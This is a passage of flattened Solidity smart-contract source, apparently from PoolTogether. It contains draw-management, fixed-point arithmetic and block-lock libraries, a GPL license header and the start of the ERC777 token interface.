}
}
/* Private */
/**
* @dev Update all the parents of a node.
* @param _key The key of the tree to update.
* @param _treeIndex The index of the node to start from.
* @param _plusOrMinus Wether to add (true) or substract (false).
* @param _value The value to add or substract.
* `O(log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function updateParents(SortitionSumTrees storage self, bytes32 _key, uint _treeIndex, bool _plusOrMinus, uint _value) private {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint parentIndex = _treeIndex;
while (parentIndex != 0) {
parentIndex = (parentIndex - 1) / tree.K;
tree.nodes[parentIndex] = _plusOrMinus ? tree.nodes[parentIndex] + _value : tree.nodes[parentIndex] - _value;
}
}
}
/**
* @author Brendan Asselstine
* @notice Tracks committed and open balances for addresses. Affords selection of an address by indexing all committed balances.
*
* Balances are tracked in Draws. There is always one open Draw. Deposits are always added to the open Draw.
* When a new draw is opened, the previous opened draw is committed.
*
* The committed balance for an address is the total of their balances for committed Draws.
* An address's open balance is their balance in the open Draw.
*/
library DrawManager {
using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees;
using SafeMath for uint256;
/**
* The ID to use for the selection tree.
*/
bytes32 public constant TREE_OF_DRAWS = "TreeOfDraws";
uint8 public constant MAX_BRANCHES_PER_NODE = 10;
/**
* Stores information for all draws.
*/
struct State {
/**
* Each Draw stores it's address balances in a sortitionSumTree. Draw trees are indexed using the Draw index.
* There is one root sortitionSumTree that stores all of the draw totals. The root tree is indexed using the constant TREE_OF_DRAWS.
*/
SortitionSumTreeFactory.SortitionSumTrees sortitionSumTrees;
/**
* Stores the consolidated draw index that an address deposited to.
*/
mapping(address => uint256) consolidatedDrawIndices;
/**
* Stores the last Draw index that an address deposited to.
*/
mapping(address => uint256) latestDrawIndices;
/**
* Stores a mapping of Draw index => Draw total
*/
mapping(uint256 => uint256) __deprecated__drawTotals;
/**
* The current open Draw index
*/
uint256 openDrawIndex;
/**
* The total of committed balances
*/
uint256 __deprecated__committedSupply;
}
/**
* @notice Opens the next Draw and commits the previous open Draw (if any).
* @param self The drawState this library is attached to
* @return The index of the new open Draw
*/
function openNextDraw(State storage self) public returns (uint256) {
if (self.openDrawIndex == 0) {
// If there is no previous draw, we must initialize
self.sortitionSumTrees.createTree(TREE_OF_DRAWS, MAX_BRANCHES_PER_NODE);
} else {
// else add current draw to sortition sum trees
bytes32 drawId = bytes32(self.openDrawIndex);
uint256 drawTotal = openSupply(self);
self.sortitionSumTrees.set(TREE_OF_DRAWS, drawTotal, drawId);
}
// now create a new draw
uint256 drawIndex = self.openDrawIndex.add(1);
self.sortitionSumTrees.createTree(bytes32(drawIndex), MAX_BRANCHES_PER_NODE);
self.openDrawIndex = drawIndex;
return drawIndex;
}
/**
* @notice Deposits the given amount into the current open draw by the given user.
* @param self The DrawManager state
* @param _addr The address to deposit for
* @param _amount The amount to deposit
*/
function deposit(State storage self, address _addr, uint256 _amount) public requireOpenDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 openDrawIndex = self.openDrawIndex;
// update the current draw
uint256 currentAmount = self.sortitionSumTrees.stakeOf(bytes32(openDrawIndex), userId);
currentAmount = currentAmount.add(_amount);
drawSet(self, openDrawIndex, currentAmount, _addr);
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
// if this is the user's first draw, set it
if (consolidatedDrawIndex == 0) {
self.consolidatedDrawIndices[_addr] = openDrawIndex;
// otherwise, if the consolidated draw is not this draw
} else if (consolidatedDrawIndex != openDrawIndex) {
// if a second draw does not exist
if (latestDrawIndex == 0) {
// set the second draw to the current draw
self.latestDrawIndices[_addr] = openDrawIndex;
// otherwise if a second draw exists but is not the current one
} else if (latestDrawIndex != openDrawIndex) {
// merge it into the first draw, and update the second draw index to this one
uint256 consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
uint256 latestAmount = self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), userId);
drawSet(self, consolidatedDrawIndex, consolidatedAmount.add(latestAmount), _addr);
drawSet(self, latestDrawIndex, 0, _addr);
self.latestDrawIndices[_addr] = openDrawIndex;
}
}
}
/**
* @notice Deposits into a user's committed balance, thereby bypassing the open draw.
* @param self The DrawManager state
* @param _addr The address of the user for whom to deposit
* @param _amount The amount to deposit
*/
function depositCommitted(State storage self, address _addr, uint256 _amount) public requireCommittedDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
// if they have a committed balance
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
uint256 consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
drawSet(self, consolidatedDrawIndex, consolidatedAmount.add(_amount), _addr);
} else { // they must not have any committed balance
self.latestDrawIndices[_addr] = consolidatedDrawIndex;
self.consolidatedDrawIndices[_addr] = self.openDrawIndex.sub(1);
drawSet(self, self.consolidatedDrawIndices[_addr], _amount, _addr);
}
}
/**
* @notice Withdraws a user's committed and open draws.
* @param self The DrawManager state
* @param _addr The address whose balance to withdraw
*/
function withdraw(State storage self, address _addr) public requireOpenDraw(self) onlyNonZero(_addr) {
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
if (consolidatedDrawIndex != 0) {
drawSet(self, consolidatedDrawIndex, 0, _addr);
delete self.consolidatedDrawIndices[_addr];
}
if (latestDrawIndex != 0) {
drawSet(self, latestDrawIndex, 0, _addr);
delete self.latestDrawIndices[_addr];
}
}
/**
* @notice Withdraw's from a user's open balance
* @param self The DrawManager state
* @param _addr The user to withdrawn from
* @param _amount The amount to withdraw
*/
function withdrawOpen(State storage self, address _addr, uint256 _amount) public requireOpenDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 openTotal = self.sortitionSumTrees.stakeOf(bytes32(self.openDrawIndex), userId);
require(_amount <= openTotal, "DrawMan/exceeds-open");
uint256 remaining = openTotal.sub(_amount);
drawSet(self, self.openDrawIndex, remaining, _addr);
}
/**
* @notice Withdraw's from a user's committed balance. Fails if the user attempts to take more than available.
* @param self The DrawManager state
* @param _addr The user to withdraw from
* @param _amount The amount to withdraw.
*/
function withdrawCommitted(State storage self, address _addr, uint256 _amount) public requireCommittedDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
uint256 consolidatedAmount = 0;
uint256 latestAmount = 0;
uint256 total = 0;
if (latestDrawIndex != 0 && latestDrawIndex != self.openDrawIndex) {
latestAmount = self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), userId);
total = total.add(latestAmount);
}
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
total = total.add(consolidatedAmount);
}
// If the total is greater than zero, then consolidated *must* have the committed balance
// However, if the total is zero then the consolidated balance may be the open balance
if (total == 0) {
return;
}
require(_amount <= total, "Pool/exceed");
uint256 remaining = total.sub(_amount);
// if there was a second amount that needs to be updated
if (remaining > consolidatedAmount) {
uint256 secondRemaining = remaining.sub(consolidatedAmount);
drawSet(self, latestDrawIndex, secondRemaining, _addr);
} else if (latestAmount > 0) { // else delete the second amount if it exists
delete self.latestDrawIndices[_addr];
drawSet(self, latestDrawIndex, 0, _addr);
}
// if the consolidated amount needs to be destroyed
if (remaining == 0) {
delete self.consolidatedDrawIndices[_addr];
drawSet(self, consolidatedDrawIndex, 0, _addr);
} else if (remaining < consolidatedAmount) {
drawSet(self, consolidatedDrawIndex, remaining, _addr);
}
}
/**
* @notice Returns the total balance for an address, including committed balances and the open balance.
*/
function balanceOf(State storage drawState, address _addr) public view returns (uint256) {
return committedBalanceOf(drawState, _addr).add(openBalanceOf(drawState, _addr));
}
/**
* @notice Returns the total committed balance for an address.
* @param self The DrawManager state
* @param _addr The address whose committed balance should be returned
* @return The total committed balance
*/
function committedBalanceOf(State storage self, address _addr) public view returns (uint256) {
uint256 balance = 0;
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
balance = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), bytes32(uint256(_addr)));
}
if (latestDrawIndex != 0 && latestDrawIndex != self.openDrawIndex) {
balance = balance.add(self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), bytes32(uint256(_addr))));
}
return balance;
}
/**
* @notice Returns the open balance for an address
* @param self The DrawManager state
* @param _addr The address whose open balance should be returned
* @return The open balance
*/
function openBalanceOf(State storage self, address _addr) public view returns (uint256) {
if (self.openDrawIndex == 0) {
return 0;
} else {
return self.sortitionSumTrees.stakeOf(bytes32(self.openDrawIndex), bytes32(uint256(_addr)));
}
}
/**
* @notice Returns the open Draw balance for the DrawManager
* @param self The DrawManager state
* @return The open draw total balance
*/
function openSupply(State storage self) public view returns (uint256) {
return self.sortitionSumTrees.total(bytes32(self.openDrawIndex));
}
/**
* @notice Returns the committed balance for the DrawManager
* @param self The DrawManager state
* @return The total committed balance
*/
function committedSupply(State storage self) public view returns (uint256) {
return self.sortitionSumTrees.total(TREE_OF_DRAWS);
}
/**
* @notice Updates the Draw balance for an address.
* @param self The DrawManager state
* @param _drawIndex The Draw index
* @param _amount The new balance
* @param _addr The address whose balance should be updated
*/
function drawSet(State storage self, uint256 _drawIndex, uint256 _amount, address _addr) internal {
bytes32 drawId = bytes32(_drawIndex);
bytes32 userId = bytes32(uint256(_addr));
uint256 oldAmount = self.sortitionSumTrees.stakeOf(drawId, userId);
if (oldAmount != _amount) {
// If the amount has changed
// Update the Draw's balance for that address
self.sortitionSumTrees.set(drawId, _amount, userId);
// if the draw is committed
if (_drawIndex != self.openDrawIndex) {
// Get the new draw total
uint256 newDrawTotal = self.sortitionSumTrees.total(drawId);
// update the draw in the committed tree
self.sortitionSumTrees.set(TREE_OF_DRAWS, newDrawTotal, drawId);
}
}
}
/**
* @notice Selects an address by indexing into the committed tokens using the passed token.
* If there is no committed supply, the zero address is returned.
* @param self The DrawManager state
* @param _token The token index to select
* @return The selected address
*/
function draw(State storage self, uint256 _token) public view returns (address) {
// If there is no one to select, just return the zero address
if (committedSupply(self) == 0) {
return address(0);
}
require(_token < committedSupply(self), "Pool/ineligible");
bytes32 drawIndex = self.sortitionSumTrees.draw(TREE_OF_DRAWS, _token);
uint256 drawSupply = self.sortitionSumTrees.total(drawIndex);
uint256 drawToken = _token % drawSupply;
return address(uint256(self.sortitionSumTrees.draw(drawIndex, drawToken)));
}
/**
* @notice Selects an address using the entropy as an index into the committed tokens
* The entropy is passed into the UniformRandomNumber library to remove modulo bias.
* @param self The DrawManager state
* @param _entropy The random entropy to use
* @return The selected address
*/
function drawWithEntropy(State storage self, bytes32 _entropy) public view returns (address) {
uint256 bound = committedSupply(self);
address selected;
if (bound == 0) {
selected = address(0);
} else {
selected = draw(self, UniformRandomNumber.uniform(uint256(_entropy), bound));
}
return selected;
}
modifier requireOpenDraw(State storage self) {
require(self.openDrawIndex > 0, "Pool/no-open");
_;
}
modifier requireCommittedDraw(State storage self) {
require(self.openDrawIndex > 1, "Pool/no-commit");
_;
}
modifier onlyNonZero(address _addr) {
require(_addr != address(0), "Pool/not-zero");
_;
}
}
/**
* @title FixidityLib
* @author Gadi Guy, Alberto Cuesta Canada
* @notice This library provides fixed point arithmetic with protection against
* overflow.
* All operations are done with int256 and the operands must have been created
* with any of the newFrom* functions, which shift the comma digits() to the
* right and check for limits.
* When using this library be sure of using maxNewFixed() as the upper limit for
* creation of fixed point numbers. Use maxFixedMul(), maxFixedDiv() and
* maxFixedAdd() if you want to be certain that those operations don't
* overflow.
*/
library FixidityLib {
/**
* @notice Number of positions that the comma is shifted to the right.
*/
function digits() public pure returns(uint8) {
return 24;
}
/**
* @notice This is 1 in the fixed point units used in this library.
* @dev Test fixed1() equals 10^digits()
* Hardcoded to 24 digits.
*/
function fixed1() public pure returns(int256) {
return 1000000000000000000000000;
}
/**
* @notice The amount of decimals lost on each multiplication operand.
* @dev Test mulPrecision() equals sqrt(fixed1)
* Hardcoded to 24 digits.
*/
function mulPrecision() public pure returns(int256) {
return 1000000000000;
}
/**
* @notice Maximum value that can be represented in an int256
* @dev Test maxInt256() equals 2^255 -1
*/
function maxInt256() public pure returns(int256) {
return 57896044618658097711785492504343953926634992332820282019728792003956564819967;
}
/**
* @notice Minimum value that can be represented in an int256
* @dev Test minInt256 equals (2^255) * (-1)
*/
function minInt256() public pure returns(int256) {
return -57896044618658097711785492504343953926634992332820282019728792003956564819968;
}
/**
* @notice Maximum value that can be converted to fixed point. Optimize for
* @dev deployment.
* Test maxNewFixed() equals maxInt256() / fixed1()
* Hardcoded to 24 digits.
*/
function maxNewFixed() public pure returns(int256) {
return 57896044618658097711785492504343953926634992332820282;
}
/**
* @notice Minimum value that can be converted to fixed point. Optimize for
* deployment.
* @dev Test minNewFixed() equals -(maxInt256()) / fixed1()
* Hardcoded to 24 digits.
*/
function minNewFixed() public pure returns(int256) {
return -57896044618658097711785492504343953926634992332820282;
}
/**
* @notice Maximum value that can be safely used as an addition operator.
* @dev Test maxFixedAdd() equals maxInt256()-1 / 2
* Test add(maxFixedAdd(),maxFixedAdd()) equals maxFixedAdd() + maxFixedAdd()
* Test add(maxFixedAdd()+1,maxFixedAdd()) throws
* Test add(-maxFixedAdd(),-maxFixedAdd()) equals -maxFixedAdd() - maxFixedAdd()
* Test add(-maxFixedAdd(),-maxFixedAdd()-1) throws
*/
function maxFixedAdd() public pure returns(int256) {
return 28948022309329048855892746252171976963317496166410141009864396001978282409983;
}
/**
* @notice Maximum negative value that can be safely in a subtraction.
* @dev Test maxFixedSub() equals minInt256() / 2
*/
function maxFixedSub() public pure returns(int256) {
return -28948022309329048855892746252171976963317496166410141009864396001978282409984;
}
/**
* @notice Maximum value that can be safely used as a multiplication operator.
* @dev Calculated as sqrt(maxInt256()*fixed1()).
* Be careful with your sqrt() implementation. I couldn't find a calculator
* that would give the exact square root of maxInt256*fixed1 so this number
* is below the real number by no more than 3*10**28. It is safe to use as
* a limit for your multiplications, although powers of two of numbers over
* this value might still work.
* Test multiply(maxFixedMul(),maxFixedMul()) equals maxFixedMul() * maxFixedMul()
* Test multiply(maxFixedMul(),maxFixedMul()+1) throws
* Test multiply(-maxFixedMul(),maxFixedMul()) equals -maxFixedMul() * maxFixedMul()
* Test multiply(-maxFixedMul(),maxFixedMul()+1) throws
* Hardcoded to 24 digits.
*/
function maxFixedMul() public pure returns(int256) {
return 240615969168004498257251713877715648331380787511296;
}
/**
* @notice Maximum value that can be safely used as a dividend.
* @dev divide(maxFixedDiv,newFixedFraction(1,fixed1())) = maxInt256().
* Test maxFixedDiv() equals maxInt256()/fixed1()
* Test divide(maxFixedDiv(),multiply(mulPrecision(),mulPrecision())) = maxFixedDiv()*(10^digits())
* Test divide(maxFixedDiv()+1,multiply(mulPrecision(),mulPrecision())) throws
* Hardcoded to 24 digits.
*/
function maxFixedDiv() public pure returns(int256) {
return 57896044618658097711785492504343953926634992332820282;
}
/**
* @notice Maximum value that can be safely used as a divisor.
* @dev Test maxFixedDivisor() equals fixed1()*fixed1() - Or 10**(digits()*2)
* Test divide(10**(digits()*2 + 1),10**(digits()*2)) = returns 10*fixed1()
* Test divide(10**(digits()*2 + 1),10**(digits()*2 + 1)) = throws
* Hardcoded to 24 digits.
*/
function maxFixedDivisor() public pure returns(int256) {
return 1000000000000000000000000000000000000000000000000;
}
/**
* @notice Converts an int256 to fixed point units, equivalent to multiplying
* by 10^digits().
* @dev Test newFixed(0) returns 0
* Test newFixed(1) returns fixed1()
* Test newFixed(maxNewFixed()) returns maxNewFixed() * fixed1()
* Test newFixed(maxNewFixed()+1) fails
*/
function newFixed(int256 x)
public
pure
returns (int256)
{
require(x <= maxNewFixed());
require(x >= minNewFixed());
return x * fixed1();
}
/**
* @notice Converts an int256 in the fixed point representation of this
* library to a non decimal. All decimal digits will be truncated.
*/
function fromFixed(int256 x)
public
pure
returns (int256)
{
return x / fixed1();
}
/**
* @notice Converts an int256 which is already in some fixed point
* representation to a different fixed precision representation.
* Both the origin and destination precisions must be 38 or less digits.
* Origin values with a precision higher than the destination precision
* will be truncated accordingly.
* @dev
* Test convertFixed(1,0,0) returns 1;
* Test convertFixed(1,1,1) returns 1;
* Test convertFixed(1,1,0) returns 0;
* Test convertFixed(1,0,1) returns 10;
* Test convertFixed(10,1,0) returns 1;
* Test convertFixed(10,0,1) returns 100;
* Test convertFixed(100,1,0) returns 10;
* Test convertFixed(100,0,1) returns 1000;
* Test convertFixed(1000,2,0) returns 10;
* Test convertFixed(1000,0,2) returns 100000;
* Test convertFixed(1000,2,1) returns 100;
* Test convertFixed(1000,1,2) returns 10000;
* Test convertFixed(maxInt256,1,0) returns maxInt256/10;
* Test convertFixed(maxInt256,0,1) throws
* Test convertFixed(maxInt256,38,0) returns maxInt256/(10**38);
* Test convertFixed(1,0,38) returns 10**38;
* Test convertFixed(maxInt256,39,0) throws
* Test convertFixed(1,0,39) throws
*/
function convertFixed(int256 x, uint8 _originDigits, uint8 _destinationDigits)
public
pure
returns (int256)
{
require(_originDigits <= 38 && _destinationDigits <= 38);
uint8 decimalDifference;
if ( _originDigits > _destinationDigits ){
decimalDifference = _originDigits - _destinationDigits;
return x/(uint128(10)**uint128(decimalDifference));
}
else if ( _originDigits < _destinationDigits ){
decimalDifference = _destinationDigits - _originDigits;
// Cast uint8 -> uint128 is safe
// Exponentiation is safe:
// _originDigits and _destinationDigits limited to 38 or less
// decimalDifference = abs(_destinationDigits - _originDigits)
// decimalDifference < 38
// 10**38 < 2**128-1
require(x <= maxInt256()/uint128(10)**uint128(decimalDifference));
require(x >= minInt256()/uint128(10)**uint128(decimalDifference));
return x*(uint128(10)**uint128(decimalDifference));
}
// _originDigits == digits())
return x;
}
/**
* @notice Converts an int256 which is already in some fixed point
* representation to that of this library. The _originDigits parameter is the
* precision of x. Values with a precision higher than FixidityLib.digits()
* will be truncated accordingly.
*/
function newFixed(int256 x, uint8 _originDigits)
public
pure
returns (int256)
{
return convertFixed(x, _originDigits, digits());
}
/**
* @notice Converts an int256 in the fixed point representation of this
* library to a different representation. The _destinationDigits parameter is the
* precision of the output x. Values with a precision below than
* FixidityLib.digits() will be truncated accordingly.
*/
function fromFixed(int256 x, uint8 _destinationDigits)
public
pure
returns (int256)
{
return convertFixed(x, digits(), _destinationDigits);
}
/**
* @notice Converts two int256 representing a fraction to fixed point units,
* equivalent to multiplying dividend and divisor by 10^digits().
* @dev
* Test newFixedFraction(maxFixedDiv()+1,1) fails
* Test newFixedFraction(1,maxFixedDiv()+1) fails
* Test newFixedFraction(1,0) fails
* Test newFixedFraction(0,1) returns 0
* Test newFixedFraction(1,1) returns fixed1()
* Test newFixedFraction(maxFixedDiv(),1) returns maxFixedDiv()*fixed1()
* Test newFixedFraction(1,fixed1()) returns 1
* Test newFixedFraction(1,fixed1()-1) returns 0
*/
function newFixedFraction(
int256 numerator,
int256 denominator
)
public
pure
returns (int256)
{
require(numerator <= maxNewFixed());
require(denominator <= maxNewFixed());
require(denominator != 0);
int256 convertedNumerator = newFixed(numerator);
int256 convertedDenominator = newFixed(denominator);
return divide(convertedNumerator, convertedDenominator);
}
/**
* @notice Returns the integer part of a fixed point number.
* @dev
* Test integer(0) returns 0
* Test integer(fixed1()) returns fixed1()
* Test integer(newFixed(maxNewFixed())) returns maxNewFixed()*fixed1()
* Test integer(-fixed1()) returns -fixed1()
* Test integer(newFixed(-maxNewFixed())) returns -maxNewFixed()*fixed1()
*/
function integer(int256 x) public pure returns (int256) {
return (x / fixed1()) * fixed1(); // Can't overflow
}
/**
* @notice Returns the fractional part of a fixed point number.
* In the case of a negative number the fractional is also negative.
* @dev
* Test fractional(0) returns 0
* Test fractional(fixed1()) returns 0
* Test fractional(fixed1()-1) returns 10^24-1
* Test fractional(-fixed1()) returns 0
* Test fractional(-fixed1()+1) returns -10^24-1
*/
function fractional(int256 x) public pure returns (int256) {
return x - (x / fixed1()) * fixed1(); // Can't overflow
}
/**
* @notice Converts to positive if negative.
* Due to int256 having one more negative number than positive numbers
* abs(minInt256) reverts.
* @dev
* Test abs(0) returns 0
* Test abs(fixed1()) returns -fixed1()
* Test abs(-fixed1()) returns fixed1()
* Test abs(newFixed(maxNewFixed())) returns maxNewFixed()*fixed1()
* Test abs(newFixed(minNewFixed())) returns -minNewFixed()*fixed1()
*/
function abs(int256 x) public pure returns (int256) {
if (x >= 0) {
return x;
} else {
int256 result = -x;
assert (result > 0);
return result;
}
}
/**
* @notice x+y. If any operator is higher than maxFixedAdd() it
* might overflow.
* In solidity maxInt256 + 1 = minInt256 and viceversa.
* @dev
* Test add(maxFixedAdd(),maxFixedAdd()) returns maxInt256()-1
* Test add(maxFixedAdd()+1,maxFixedAdd()+1) fails
* Test add(-maxFixedSub(),-maxFixedSub()) returns minInt256()
* Test add(-maxFixedSub()-1,-maxFixedSub()-1) fails
* Test add(maxInt256(),maxInt256()) fails
* Test add(minInt256(),minInt256()) fails
*/
function add(int256 x, int256 y) public pure returns (int256) {
int256 z = x + y;
if (x > 0 && y > 0) assert(z > x && z > y);
if (x < 0 && y < 0) assert(z < x && z < y);
return z;
}
/**
* @notice x-y. You can use add(x,-y) instead.
* @dev Tests covered by add(x,y)
*/
function subtract(int256 x, int256 y) public pure returns (int256) {
return add(x,-y);
}
/**
* @notice x*y. If any of the operators is higher than maxFixedMul() it
* might overflow.
* @dev
* Test multiply(0,0) returns 0
* Test multiply(maxFixedMul(),0) returns 0
* Test multiply(0,maxFixedMul()) returns 0
* Test multiply(maxFixedMul(),fixed1()) returns maxFixedMul()
* Test multiply(fixed1(),maxFixedMul()) returns maxFixedMul()
* Test all combinations of (2,-2), (2, 2.5), (2, -2.5) and (0.5, -0.5)
* Test multiply(fixed1()/mulPrecision(),fixed1()*mulPrecision())
* Test multiply(maxFixedMul()-1,maxFixedMul()) equals multiply(maxFixedMul(),maxFixedMul()-1)
* Test multiply(maxFixedMul(),maxFixedMul()) returns maxInt256() // Probably not to the last digits
* Test multiply(maxFixedMul()+1,maxFixedMul()) fails
* Test multiply(maxFixedMul(),maxFixedMul()+1) fails
*/
function multiply(int256 x, int256 y) public pure returns (int256) {
if (x == 0 || y == 0) return 0;
if (y == fixed1()) return x;
if (x == fixed1()) return y;
// Separate into integer and fractional parts
// x = x1 + x2, y = y1 + y2
int256 x1 = integer(x) / fixed1();
int256 x2 = fractional(x);
int256 y1 = integer(y) / fixed1();
int256 y2 = fractional(y);
// (x1 + x2) * (y1 + y2) = (x1 * y1) + (x1 * y2) + (x2 * y1) + (x2 * y2)
int256 x1y1 = x1 * y1;
if (x1 != 0) assert(x1y1 / x1 == y1); // Overflow x1y1
// x1y1 needs to be multiplied back by fixed1
// solium-disable-next-line mixedcase
int256 fixed_x1y1 = x1y1 * fixed1();
if (x1y1 != 0) assert(fixed_x1y1 / x1y1 == fixed1()); // Overflow x1y1 * fixed1
x1y1 = fixed_x1y1;
int256 x2y1 = x2 * y1;
if (x2 != 0) assert(x2y1 / x2 == y1); // Overflow x2y1
int256 x1y2 = x1 * y2;
if (x1 != 0) assert(x1y2 / x1 == y2); // Overflow x1y2
x2 = x2 / mulPrecision();
y2 = y2 / mulPrecision();
int256 x2y2 = x2 * y2;
if (x2 != 0) assert(x2y2 / x2 == y2); // Overflow x2y2
// result = fixed1() * x1 * y1 + x1 * y2 + x2 * y1 + x2 * y2 / fixed1();
int256 result = x1y1;
result = add(result, x2y1); // Add checks for overflow
result = add(result, x1y2); // Add checks for overflow
result = add(result, x2y2); // Add checks for overflow
return result;
}
/**
* @notice 1/x
* @dev
* Test reciprocal(0) fails
* Test reciprocal(fixed1()) returns fixed1()
* Test reciprocal(fixed1()*fixed1()) returns 1 // Testing how the fractional is truncated
* Test reciprocal(2*fixed1()*fixed1()) returns 0 // Testing how the fractional is truncated
*/
function reciprocal(int256 x) public pure returns (int256) {
require(x != 0);
return (fixed1()*fixed1()) / x; // Can't overflow
}
/**
* @notice x/y. If the dividend is higher than maxFixedDiv() it
* might overflow. You can use multiply(x,reciprocal(y)) instead.
* There is a loss of precision on division for the lower mulPrecision() decimals.
* @dev
* Test divide(fixed1(),0) fails
* Test divide(maxFixedDiv(),1) = maxFixedDiv()*(10^digits())
* Test divide(maxFixedDiv()+1,1) throws
* Test divide(maxFixedDiv(),maxFixedDiv()) returns fixed1()
*/
function divide(int256 x, int256 y) public pure returns (int256) {
if (y == fixed1()) return x;
require(y != 0);
require(y <= maxFixedDivisor());
return multiply(x, reciprocal(y));
}
}
/**
* @title Blocklock
* @author Brendan Asselstine
* @notice A time lock with a cooldown period. When locked, the contract will remain locked until it is unlocked manually
* or the lock duration expires. After the contract is unlocked, it cannot be locked until the cooldown duration expires.
*/
library Blocklock {
using SafeMath for uint256;
struct State {
uint256 lockedAt;
uint256 unlockedAt;
uint256 lockDuration;
uint256 cooldownDuration;
}
/**
* @notice Sets the duration of the lock. This how long the lock lasts before it expires and automatically unlocks.
* @param self The Blocklock state
* @param lockDuration The duration, in blocks, that the lock should last.
*/
function setLockDuration(State storage self, uint256 lockDuration) public {
require(lockDuration > 0, "Blocklock/lock-min");
self.lockDuration = lockDuration;
}
/**
* @notice Sets the cooldown duration in blocks. This is the number of blocks that must pass before being able to
* lock again. The cooldown duration begins when the lock duration expires, or when it is unlocked manually.
* @param self The Blocklock state
* @param cooldownDuration The duration of the cooldown, in blocks.
*/
function setCooldownDuration(State storage self, uint256 cooldownDuration) public {
require(cooldownDuration > 0, "Blocklock/cool-min");
self.cooldownDuration = cooldownDuration;
}
/**
* @notice Returns whether the state is locked at the given block number.
* @param self The Blocklock state
* @param blockNumber The current block number.
*/
function isLocked(State storage self, uint256 blockNumber) public view returns (bool) {
uint256 endAt = lockEndAt(self);
return (
self.lockedAt != 0 &&
blockNumber >= self.lockedAt &&
blockNumber < endAt
);
}
/**
* @notice Locks the state at the given block number.
* @param self The Blocklock state
* @param blockNumber The block number to use as the lock start time
*/
function lock(State storage self, uint256 blockNumber) public {
require(canLock(self, blockNumber), "Blocklock/no-lock");
self.lockedAt = blockNumber;
}
/**
* @notice Manually unlocks the lock.
* @param self The Blocklock state
* @param blockNumber The block number at which the lock is being unlocked.
*/
function unlock(State storage self, uint256 blockNumber) public {
self.unlockedAt = blockNumber;
}
/**
* @notice Returns whether the Blocklock can be locked at the given block number
* @param self The Blocklock state
* @param blockNumber The block number to check against
* @return True if we can lock at the given block number, false otherwise.
*/
function canLock(State storage self, uint256 blockNumber) public view returns (bool) {
uint256 endAt = lockEndAt(self);
return (
self.lockedAt == 0 ||
blockNumber >= endAt.add(self.cooldownDuration)
);
}
function cooldownEndAt(State storage self) internal view returns (uint256) {
return lockEndAt(self).add(self.cooldownDuration);
}
function lockEndAt(State storage self) internal view returns (uint256) {
uint256 endAt = self.lockedAt.add(self.lockDuration);
// if we unlocked early
if (self.unlockedAt >= self.lockedAt && self.unlockedAt < endAt) {
endAt = self.unlockedAt;
}
return endAt;
}
}
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
